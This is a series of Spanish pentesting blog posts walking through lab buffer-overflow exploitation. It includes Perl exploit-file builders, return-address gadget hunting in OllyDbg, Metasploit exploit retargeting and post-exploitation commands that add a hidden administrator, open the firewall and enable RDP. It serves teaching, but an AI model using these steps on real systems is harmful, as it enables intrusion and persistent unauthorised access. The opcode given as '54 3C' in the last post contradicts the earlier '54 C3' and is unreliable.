jueves, 26 de noviembre de 2009

Exploting (II): Stack Overflow Simple (II)

La semana pasada nos quedamos a medias de desarrollar un exploit para un código de ejemplo sencillo que era vulnerable a Buffer Overflow. Al final, habiamos obtenido que necesitamos rellenar con 60 caracteres para a continuación poder sobreescribir la dirección de retorno almacenada en la pila.

Por último, lanzabamos una pregunta ¿Por qué no funcionará si sobreescribo el EIP con 0x0022C0D0? La razón es lo que se llama "bad characters" (caracteres malos). Los caracteres malos son aquellos que pueden provocar que la transmisión de nuestro exploit hasta la memoria sea cortada por algún motivo. En este caso concreto, si intentaramos usar la dirección 0x0022C0D0 como parte de nuestro exploit sería imposible que nos funcionara, ya que contiene el caracter 0x00, que significa final de cadena, por lo que la función scanf dejará de copiar contenido en el momento que detecte este caracter, quedando nuestro exploit incompleto en la memoria, por lo que no funcionaría.

Pues mirando el OllyDbg... parece que toda la pila se encuentra en direcciones que empiezan por 0x00... ¿Cómo lo hacemos entonces?

¿Recordais que en el anterior post comentamos como algo "curioso" que el patron "CCC1CCC2..." se encontraba apuntado desde el registro ESP (puntero a la cima de la pila)? Pues bien, en lugar de saltar directamente a nuestro shellcode, vamos a dar un pequeño rodeo: vamos a saltar a alguna zona de código de nuestro proceso que contenga las intrucciones necesarias para que acabemos saltando a nuestro shellcode. Evidentemente no vamos a encontrar ninguna instrucción de salto a nuestro shellcode como tal, pero sí que es factible que encontremos instrucciones de salto a registros, por ejemplo ESP, y como en estos momentos el registro ESP apunta a nuestro shellcode...

Por poner un ejemplo, vamos a mencionar dos secuencias de instrucciones típicas que se usan para estos fines, aunque en realidad valdría cualquier tipo de secuencia, siempre y cuando la dirección en la que se encuentre no contenga ningún caracter que nos impida usarlo y que, al final, acabe saltando a nuestro shellcode de alguna manera:
  1. "jmp esp": esta es la más evidente, si sobreescribieramos el EIP con la dirección de esta instrucción, al saltar a ella inmediatamente la ejecución saltaría a la dirección contenida en el ESP, donde estaría nuestro shellcode, con lo que tendriamos resuelto el problema.
  2. "push esp" seguido de "ret": Lo usabamos en el post en el que explicabamos como modificar un exploit para que funcionara en un sistema en castellano hace algunas semanas. Utilizando esta secuencia, el registro ESP (que contiene la dirección de nuestro shellcode) será apilado en la pila. A continuación se realiza un "ret" (retorno de una función), que desapilará de la pila la dirección de retorno (funcionamiento estandar de las funciones call y ret) y saltará a esta dirección, por lo que provocaremos que salte a nuestro shellcode.
En general, podemos encontrar estas secuencias en varios lugares, pero algunos son mejores que otros. Sin duda la primera elección sería en alguna librería de la propia aplicación, ya que esta es totalmente dependiente de la versión del software, y no variará cuando se introduzcan parches del sistema operativo ni nada parecido. En este caso no va a ser posible, ya que el software vulnerable es muy muy sencillo y no tiene librerías, por lo que vamos a tener que buscar las secuencias de comandos en las librerías del sistema operativo.

Utilizar las librerías del sistema operativo no es lo mejor, ya que si por alguna de aquellas un parche aplicado al sistema operativo modifica el contenido de esta librería... la existencia de esta secuencia seguramente permanecerá, pero su posición se verá alterada por la alteración del código producido al aplicar el parche, por lo que nuestro exploit no funcionará. Si no nos queda más remedio... lo mejor sería elegir, de las opciones que tengamos, la que se encuentre en aquella librería que tradicionalmente sufra menos parcheos, aunque para este caso, por ser solo un ejemplo, hemos elegido una cualquiera.

Bueno, pues ya sabemos lo que tenemos que hacer, tenemos que buscar un "push esp; ret" (por ejemplo) ¿Cómo lo hacemos?

Lo primero de todo es saber que secuencia de opcodes son los comandos "push esp; ret" para poderlos buscar en la memoria. Para ello yo suelo emplear un truco (aunque al final acabas aprendiendote de memoria los opcodes "típicos"): Abro el Ollydbg (cualquier binario me vale) y me voy al final del todo de la zona de código, donde seguro que existe una zona sin utilizar. Una vez allí, pincho dos veces sobre el código y me sale una ventana en la que puedo modificar e intruducir la intrucción en ensamblador que quiera. Recordad desmarcar la opción "Keep size" para que aunque la instrucción que le pongamos ocupe más de 1 byte que nos la escriba igual.



Como podemos ver en la columna central, la secuencia "push esp; ret" se corresponde con los opcodes "54 C3" (en hexadecimal, claro), por lo que ya sabemos que es lo que tenemos que buscar en la memoria.

Ahora lanzamos nuestra aplicación vulnerable de nuevo con OllyDbg, volvemos a lanzar nuestro exploit y después del casque nos vamos a la zona de memoria (un botón con una M azul y buscamos en toda la memoria esa secuencia):



Le damos a buscar y nos la va a encontrar en varios sitios. Por ejemplo este:



Aquí podemos ver como la secuencia que queremos está en la dirección 0x77C21025, perteneciente a la librería "msvcrt". Lo ideal sería anotarnos los lugares en los que se encuentra para posterirmente seleccionar el que puede resultar más apropiado para el exploit.

Ya está, ¿no?, ya sabemos que si sobreescribimos 60 A's, después le metemos la dirección de retorno 0x77C21025 y posteriormente el shellcode, tendremos un exploit con el que conseguiremos ejecutar el código que queramos.

Vamos a hacer una pequeña prueba, y así de paso sabemos más o menos que tamaño tenemos para nuestro shellcode (que también es importente). Vamos a generar un shellcode que sean muchas intrucciones NOP seguidas de una instrucción INT 3 (la misma que utilizan los breakpoints de un debugger). Si todo funciona bien, cuando lancemos la aplicación con OllyDbg y lo dejemos ejecutar libremente, se producirán los siguientes pasos:
  1. Se lanza el exploit, se sobreescribe en la pila la dirección de retorno.
  2. La función vulnerable finaliza, al hacer ret, desapila la dirección de retorno 0x77C21025 (que es con la que hemos sobrescrito) y por tanto salta a la zona de código donde está el "push esp; ret" que habiamos encontrado.
  3. Se apila el ESP, que apunta a nuestro shellcode, y se realiza un ret, con lo que se vuelve a desapilar y se salta a esta dirección, con lo que se inicia la ejecución de nuestro código.
  4. Se ejecutan los 1000 NOPs que hemos introducido correctamente, y finalmente se ejecuta el INT 3 (breakpoint)
  5. La ejecución del OllyDbg se para, esta vez no por un error, sino por un INT 3 encontrado, con lo que tenemos la certeza de que nuestro exploit está funcionando correctamente.
Para generar este exploit, como hemos hecho antes, podemos usar el siguiente código en perl:

#!/usr/bin/perl
# EXPLOIT DE PRUEBAS - jselvi

# Auxiliares, para entendernos mejor...
my $nop = "\x90";
my $breakpoint = "\xcc";

# PARTES DEL EXPLOIT
my $relleno = $nop x 60;
my $eip = pack("V", 0x77C21025);

# SHELLCODE DE PRUEBA (breakpoint)
my $shellcode = $nop x 1000 . $breakpoint;

# CONSTRUIMOS EXPLOIT
my $exploit = $relleno.$eip.$shellcode;

# LANZAMOS EXPLOIT
my $file = "exploit.txt";
open( $FILE, ">$file" );
print $FILE $exploit;
close( $FILE );

print "Fichero exploit.txt creado\n";


Como nota sobre el exploit, fijaros que para introducir el EIP estamos utilizando al función pack con el parámetro "V". Esto es necesario para que transforme la dirección (en formato long) a su equivalente en little-endian para que se interprete bien.

Perfecto! Ya tenemos el exploit preparadito y funcionando, solo tenemos que cambiar el shellcode por uno que haga lo que realmente queramos. Ya estamos cada vez más cerca de esto...



Pero aún nos falta solventar un pequeño problemita más.
Lo veremos en el próximo post.

domingo, 22 de noviembre de 2009

Exploting (II): Stack Overflow Simple (I)

La semana pasada pusimos un ejemplo de como podemos aprovechar una vulnerabilidad de Buffer Overflow para saltarnos un proceso de autenticación sin tener que acudir a sobreescribir la dirección de retorno en la pila. El de la semana pasada es probablemente uno de los casos más sencillos de Buffer Overflow, ya que es bastante inmediato ver que si podemos desbordar el buffer podemos tener control de todas las variables que se hayan declarado en las siguientes posiciones de memoria.

Esta semana vamos a dar un paso más allá y vamos a irnos al caso del Stack Overflow típico, es decir, hemos hecho un pequeño programa de ejemplo que contiene una vulnerabilidad de Buffer Overflow que puede ser aprovechada para ejecutar código en la máquina, y esto es lo que vamos a hacer.

El código de ejemplo, aunque se llama desde dentro de un código más amplio para favorecer un tamaño de pila adecuado para no complicar más las cosas, es el siguiente:



Como podemos ver, la variable buffer tiene una longitud de 10 caracteres (osea, 10 bytes). Sin embargo, se está obteniendo por teclado una cadena que está siendo guardada en esta variable sin ningún tipo de control de la cantidad de caracteres que se van a escribir. Por lo tanto, aquí tenemos una vulnerabilidad de Buffer Overflow de libro.

En este caso tenemos el código y podemos ver que la vulnerabilidad existe con total seguridad, pero en otras ocasiones no tendremos tanta suerte. En cualquier caso, vamos a olvidarnos que disponemos del código y vamos a realizar una prueba. Para ello llamamos al binario y cuando nos solicite que escribamos vamos a intruducir una cadena muy muy larga de A's, para comprobar si podemos realizar un Buffer Overflow que sobreescriba la dirección de retorno almacenada en la pila y provocar un casque (es lo que ocurre si hacemos saltar la ejecución del código a una dirección inválida).

Primero que nada, lanzamos el binario a través de OllyDbg y lo ejecutamos sin poner ningún tipo de breakpoint ni nada similar. Si sobreescribimos correctamente la dirección de retorno que está almacenada en la pila, cuando la función termine, la dirección de retorno va a ser "basura", por lo que la ejecución del software va a saltar a una dirección inválida. En OllyDbg, veremos algo así:



Como podemos ver, la ventana en la que veriamos las intrucciones de código aparece en blanco, y la ejecución del proceso se ha detenido con un EIP (puntero de instrucción, que apunta a la instrucción que se está ejecutando) claramente no válido "AAAA" (0x41 = "A").

Ahora que ya sabemos como reconocer cuando se ha producido un Buffer Overflow, vamos a lanzar la aplicación vulnerable a través de OllyDbg y vamos a dejar que se ejecute sin ninguna restricción. Cuando nos ofrezca la posibilidad de escribir, vamos a escribir una cantidad muy grande de A's, obteniendo el siguiente resultado:



Si nos fijamos en la información resaltada en la imagen, el EIP ahora es 0x41414141, es decir, la dirección de retorno de la función vulnerable que estaba almacenada en la pila ha sido sobreescrita con A's. Genial! Eso quiere decir que podemos empezar a jugar...

Vale, ya sabemos que podemos sobreescribir la dirección de retorno, pero nos interesa saber exactamente que A's están sobreescribiendo esa dirección de retorno, para así poder hacer saltar la ejecución a donde nosotros queramos. ¿Cómo hacemos eso? Pues está claro que poniendo todos los caracteres iguales seguro que no.

Para hacerlo, lo mejor es tener primero una aproximación de con cuantos caracteres sobreescribimos la dirección de retorno. Si hemos probado con 10000 A's, podemos probar ahora con 5000, si sigue funcionando entonces con 2500, luego con 1250, hasta que lleguemos a un punto suficientemente acotado (un rango de 2000 o 3000 es suficiente) como para poder utilizar la siguiente técnica que vamos a ver.

En este caso, la cantidad de A's es entre 50 y 100, así que lo que vamos a hacer es escribir 50 A's y a continuación 50 caracteres diferentes, que nos permitan reconocer al ver 4 de ellos (estarán en el EIP) en que posición están exactamente. Para generar estos caracteres utilizaremos una de las herramientas de la tremenda y fantastica Metasploit (miooo, mi tesoooroooo): pattern_create.rb

# cd /opt/msf3
# cd tools
# ./pattern_create.rb 50
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab


Con esto, ya solo tenemos que concatenar 50 A's con esta secuencia y repetir el proceso. Como supongo que no quereis tener que escribir cada vez a mano 50 A's, lo mejor es hacerse un pequeño script. Yo por ejemplo me lo he hecho en perl:

#!/usr/bin/perl
# EXPLOIT DE PRUEBAS - jselvi

# PARTES DEL EXPLOIT
my $relleno = "A" x 50;
my $msfpatron = "
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab";

# CONSTRUIMOS EXPLOIT
my $exploit = $relleno.$msfpatron;

# LANZAMOS EXPLOIT
my $file = "exploit.txt";
open( $FILE, ">$file" );
print $FILE $exploit;
close( $FILE );

print "Fichero exploit.txt creado\n";


Con este script podemos crear un fichero de texto que contenga el exploit y utilizarlo (de momento, como no hay caracteres "raros", podemos simplemente copiar y pegar). Si lanzamos de nuevo con OllyDbg igual que lo hicimos antes e introducimos ahora esta cadena, el resultado será el siguiente:



Como podemos ver, ahora el EIP ha sido sobreescrito por 0x61413361, que por ser el procesador un Intel (Little Endian), quiere decir que hemos sobreescrito el EIP con {0x61, 0x33, 0x41, 0x61}, es decir, con el patron "a3Aa".

Ahora que ya tenemos el patrón, sólo nos tenemos que ir de nuevo a Metasploit y utilizar la herramienta complementaria a la de antes: pattern_offset.rb

# ./pattern_offset.rb a3Aa 50
10


Así que tenemos 50 A's que hemos introducido a mano nosotros más 10 A's más que podemos seguir metiendo hasta alcanzar la dirección de retorno en memoria, y después de eso ya podemos introducir lo que queramos que sobreescriba la dirección de retorno. Hagamos una última prueba, vamos a escribir 60 A's seguidas de "BBBB" seguido de un patron "CCC1CCC2CCC3CCC4". Si todo va bien, el EIP acabará siendo BBBB y podremos ver en la memoria la cadena "CCC1CCC2...". Podemos generar todo el exploit modificando un poco el código perl de antes:

# PARTES DEL EXPLOIT
my $relleno = "A" x 60;
my $eip = "BBBB";
my $espacio = "CCC1CCC2CCC3CCC4";

# CONSTRUIMOS EXPLOIT
my $exploit = $relleno.$eip.$espacio;


Vamos a ver lo que pasa:



Parece que la cosa va MUY bien, ya sabemos cuantos bytes tenemos que escribir para sobreescribir la dirección de retorno, con lo que tenemos el control del EIP, y además podemos observar que la cadena "CCC1CCC2..." se encuentra apuntada por el registro ESP (puntero a la cima de la pila) después de salir de la función que hemos explicado. Lógico, pero interesante para nuestros propósitos, verdad?.

Lo tenemos chupado entonces, ¿no? Sólo tenemos que poner nuestro shellcode donde hemos puesto "CCC1CCC2..." y en el EIP de retorno almacenado en la pila sobreescribirlo con la dirección 0x0022C0D0, así cuando se salga de la función se recuperará este como EIP y saltará a ejecutar el shellcode que le pongamos.

En teoría, esto podría ser así, pero... no va a funcionar.
¿A alguien se le ocurre por qué?

lunes, 16 de noviembre de 2009

Exploiting (I): Buffer Overflow != Stack Overflow

Según la definición de la Wikipedia, un Buffer Overflow es un error de programación que tiene lugar al copiar una cantidad de datos sobre un área que no es lo suficientemente grande como para contener dichos datos, produciendose así la sobreescritura de zonas de memoria.

En general, la mayoría de gente con la que hablo sobre estos temas y le preguntas "¿Qué es un Buffer Overflow?", te contesta: "sí, eso de que escribes un montón de caracteres hasta que sobreescribes la dirección de retorno en la pila y así te salta al código del shellcode..." (eso si entiende un poco de seguridad, sino la respuesta puede ser "lo que?"). Probablemente el Stack Overflow sea uno de los tipos de Buffer Overflow más conocidos y espectaculares, pero el término Buffer Overflow es un poco más genérico.

Para demostrarlo, hemos desarrollado un pequeño código de ejemplo que presenta un Buffer Overflow que puede ser explotado para saltarse un "proceso de autenticación" (si alguien se trave a llamar así a lo que hemos programado) sin sobreescribir la pila, ni inyectar un shellcode, ni nada similar. Veamos pues el código:



Si ejecutamos el código, basicamente tendremos un prompt que nos pide la contraseña y que no nos permite el acceso al resto de funcionalidad (en este caso ninguna, es solo un ejemplo). Sin embargo, podemos observar que la función scanf recoge la cadena que introduzcamos por teclado sin tener en consideración su longitud, por lo que si introducimos una cadena de más de los 10 caracteres que tenemos reservados se producirá un Buffer Overflow.

¿Cómo podemos aprovechar este fallo para saltarnos la autenticación? Seguro que muchos ya se han dado cuenta, pero vamos a pegarle un vistazo a la memoria con OllyDbg a ver si eso nos ayuda más a verlo.





Quizá se vea más claro en la representación gráfica que hemos preparado, donde podemos ver en gris la zona de memoria reservada para la cadena de entrada, y en rojo la zona de memoria reservada para la cadena que guarda la contraseña con la que se compara.

Ahora bien, ¿qué pasa si la cadena introducida es muy larga?





Cómo podemos ver, se ha producido un desbordamiento de buffer de tal manera que hemos sobreescrito la cadena que contenía la contraseña de acceso. De esta manera, en este momento si el programa accede a esta cadena ya no contendrá la cadena "p3nt3st3r", sino la cadena "a". Veamoslo:



Bueno, pues ya está hecho, hemos aprovechado un Buffer Overflow para evadir un proceso de autenticación. El ejemplo es bastante tonto, es cierto, es difícil que nos encontremos con un caso exactamente como este, pero nos sirve para ilustrar y mostrar un tipo de vulnerabilidades que podemos encontrarnos.

martes, 10 de noviembre de 2009

De Shell/Meterpreter a Terminal (Windows)

La semana pasada os mostrabamos como modificar un exploit existente en Metasploit Framework para que funcionara en un entorno con los últimos parches (SP3) y en Español. Mediante este exploit modificado conseguiamos aprovechar una vulnerabilidad del servicio FTP para conseguir una shell cmd.exe o incluso un meterpreter en el sistema remoto.

Ahora bien, ¿Qué podemos hacer con la shell? Yo os diría que todo. Menos dibujar con el Paint (o quizá es que yo no sepa como hacerlo :P).

Tras muchos años de herramientas de gestión con interface gráfico, un porcentaje muy alto de técnicos se bloquean al ver la "pantalla negra". Incluso técnicos muy unixeros acostumbrados a pelearse día a día con la linea de comandos se encuentran perdidos cuando se encuentran con la linea de comandos en un sistema Windows, ya que su sintaxis y sus comandos no son tan ampliamente conocidos como los de sus "parientes" de sistemas Unix.

Por eso, vamos a continuar donde lo dejamos la semana pasada. Vale, hemos explotado una vulnerabilidad y tenemos acceso shell a la máquina... ¿y ahora qué? Podriamos hacer muchas cosas, pero vamos a ir a lo fácil, vamos a intentar entrar por RDP (Escritorio Remoto) a la máquina para así poder usar todas esas herramientas gráficas que tanto nos gustan. Aprovechando que tenemos el meterpreter cargado podriamos intentar utilizar algunas de sus capacidades, como por ejemplo el script getgui, que nos permite crearnos un usuario, darle privilegios y activar el escritorio remoto todo en una sola linea:

meterpreter > run getgui -u jselvi -p p3nt3st3r
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*] RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*] Terminal Services service is already set to auto
[*] Opening port in local firewall if necessary
[*] Setting user account for logon
[*] Adding User: jselvi with Password: p3nt3st3r
[*] Adding User: jselvi to local group Remote Desktop Users
[*] Adding User: jselvi to local group Administrators
[*] You can now login with the created user


Sin embargo, si probamos el acceso nos devuelve un mensaje "Las directivas locales de este sistema no permiten iniciar una sesión interactiva". Parece lógico, ya que mi Windows en Español no tiene ni grupo "Administrators" ni "Remote Desktop Users", por lo que aunque el usuario se ha creado no se le ha asignado ningún tipo de privilegios. Parece ser que tendremos que abrirnos una shell y hacer las cosas "a la antigua" (aka "a lo divertida") ;) Para ello hemos restaurado previamente el sistema atacado, por lo que es como si nunca hubieramos intentado usar getgui.

Como paso previo, deberemos sacar una shell cmd.exe desde el meterpreter que hemos conseguido en la máquina, si es que hemos usado este PAYLOAD en lugar de usar uno que directamente nos de la shell:

meterpreter> execute -f cmd.exe -i

Primero que nada, vamos a crearnos un usuario (jselvi:p3nt3st3r) y lo vamos a meter en el grupo "Administradores" y "Usuarios de escritorio remoto", para que podamos entrar por RDP y desde ahí tener todos los privilegios que podamos necesitar sobre la máquina:

>net user jselvi p3nt3st3r /add
net user jselvi p3nt3st3r /add
Se ha completado el comando correctamente.

>
net localgroup Administradores jselvi /add
net localgroup Administradores jselvi /add
Se ha completado el comando correctamente.

>
net localgroup "Usuarios de escritorio remoto" jselvi /add
net localgroup "Usuarios de escritorio remoto" jselvi /add
Se ha completado el comando correctamente.




Una vez creados los usuarios, vamos a ver que "se cuece" en el puerto de Terminal Server (3389/TCP) utilizando LA herramienta (las mayusculas son intencionadas) NMap:

# nmap -PN -p 3389 172.16.24.144

Starting Nmap 4.68 ( http://nmap.org ) at 2009-10-27 23:06 CET
Interesting ports on 172.16.24.144:
PORT STATE SERVICE
3389/tcp filtered ms-term-serv


Parece que tenemos filtrado el acceso al servicio, así que vamos a tener que desactivar el firewall, o mejor aún, crear una excepción para nuestra IP de origen, así sólo nosotros tendremos acceso al Terminal Server y nadie más podrá aprovechar nuestro trabajo para entrar en la máquina:

>netsh firewall add portopening protocol = TCP port = 3389 name = RDP mode = ENABLE scope = CUSTOM addresses = 172.16.24.130
netsh firewall add portopening protocol = TCP port = 3389 name = RDP mode = ENABLE scope = CUSTOM addresses = 172.16.24.130
Aceptar




Comprobemos de nuevo con NMap como va el asunto:

# nmap -PN -p 3389 172.16.24.144
Starting Nmap 4.68 ( http://nmap.org ) at 2009-10-27 23:07 CET
Interesting ports on 172.16.24.144:
PORT STATE SERVICE
3389/tcp closed ms-term-serv


Bueno, vamos mejorando, el puerto ha pasado de filtrado a cerrado, eso quiere decir que el firewall ha sido desactivado correctamente, aunque seguimos sin poder conectar porque no hay un servicio a la escucha. Esto es debido a que hay que modificar una clave de registro en los Windows XP (versión sobre la que estamos realizando las pruebas) para poder activar la administración remota. Hagamoslo:

>reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f




Vamos a comprobar de nuevo que visibilidad tenemos sobre el puerto 3389:

# nmap -PN -p 3389 172.16.24.144
Starting Nmap 4.68 ( http://nmap.org ) at 2009-10-27 23:07 CET
Interesting ports on 172.16.24.144:
PORT STATE SERVICE
3389/tcp open ms-term-serv


PERFECTO!! Parece que la cosa marcha, ya tenemos el puerto abierto para nosotros, ya solo tenemos que acceder y probar la contraseña que hemos configurado a ver si todo el proceso anterior ha surtido efecto:

# rdesktop 172.16.24.144






Bueno, ya ha pasado el "mal trago", ya tenemos acceso gráfico y los que le tiene fobia al terminal pueden cerrar ya la consola, restablecer el servicio que ha sido explotado (si es que ha quedado inestable) y... echarle imaginación :) (hashes? pass-the-hash? escanear la red local? ...)

Y ahora... hay un "pero" muy evidente en todo esto. ¿A alguien se le ocurre?.

martes, 3 de noviembre de 2009

¿Por qué no consigo shell con mi Metasploit?

En muchas ocasiones un pentester se encuentra durante un test de intrusión con un servicio vulnerable y con el exploit en el framework de Metasploit . Ante esta situación tan favorable el pentester se frota las manos, prepara su Metasploit, configura los parametros propios del exploit y lanza el ataque. De manera inesperada, el pentester se encuentra que el resultado no es el deseado pese a que todo parecía pronosticar que así iba a ser.

Cuando se ejecuta un exploit sobre sistemas Microsoft Windows este comportamiento puede venir derivado porque el exploit haya sido realizado para atacar una versión determinada de Microsoft Windows, con un determinado lenguaje, como por ejemplo podría estar preparado para "Microsoft Windows XP SP0 English". Si el pentester lanza el exploit sobre un sistema con "Microsoft Windows XP SP3 Spanish", el exploit no será igual de efectivo que en la versión "English".

Para poder entender bien cómo personalizar nuestros exploits vamos a utilizar el material referenciado en el documento wiki de Metasploit. No nos centraremos en la escritura del exploit, para eso lo mejor es mirar el documento, sino que cogeremos la aplicación warftpd y adaptaremos el exploit (modules/exploits/windows/ftp/warftpd_165_user.rb) para que funcione sobre un "Windows XP SP3 Spanish", target no soportado por defecto por el exploit.

Si visualizamos el contenido del exploit veremos como existe un apartado donde trata los targets y donde nos encontraremos entradas como esta:

------------------------------------------------------------------------------
# Target 1 [ 'Windows XP SP0-SP1 English',

{
'Ret' => 0x71ab1d54 # push esp, ret } ]
......
buf[485, 4] = [ target.ret ].pack('V')
------------------------------------------------------------------------------

A la vista del código queda claro que es necesario modificar la dirección de retorno para adaptarlo a nuestro idioma y Service Pack. Como bien indica el comentario deberemos buscar una dirección de memoria que contenga primero un push esp y después un ret (para entender cómo funciona la pila, los buffers overflows y hacerse una idea de por qué es "push esp, ret" lo que necesita, ver este tutorial; quedando fuera del alcance de este post explicarlo).

Ahora deberemos buscar la dirección de memoria que nos interesa y para ello utilizaremos Ollydbg:

1. Arrancamos la aplicación warftpd:



2. Nos "attacheamos" (perdonar el palabro) al proceso warftpd.exe:



3. Buscamos en la memoria (Letra M de Ollydbg) los opcodes que se corresponden con "push esp, ret", que son "54 3C":



Como se puede ver en la imagen encontramos que en la dirección de memoria 0x71a32b53 existe un "push esp, ret".

4. Añadimos la entrada en el exploit:

# Target 2
[
'Windows XP SP3 Spanish',
{
'Ret' => 0x71a32b53# push esp, ret
}
]
5. Pasamos a ejecutar el exploit

Parametrización del exploit



Lanzamiento del exploit



Observamos la lista de procesos de la máquina con Windows XP SP3 Spanish:



Espero que os sea de utilidad y podáis obtener esa shell que tanto nos gusta.